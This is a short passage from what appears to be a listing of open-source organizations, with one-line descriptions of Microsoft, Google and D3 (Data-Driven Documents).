    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.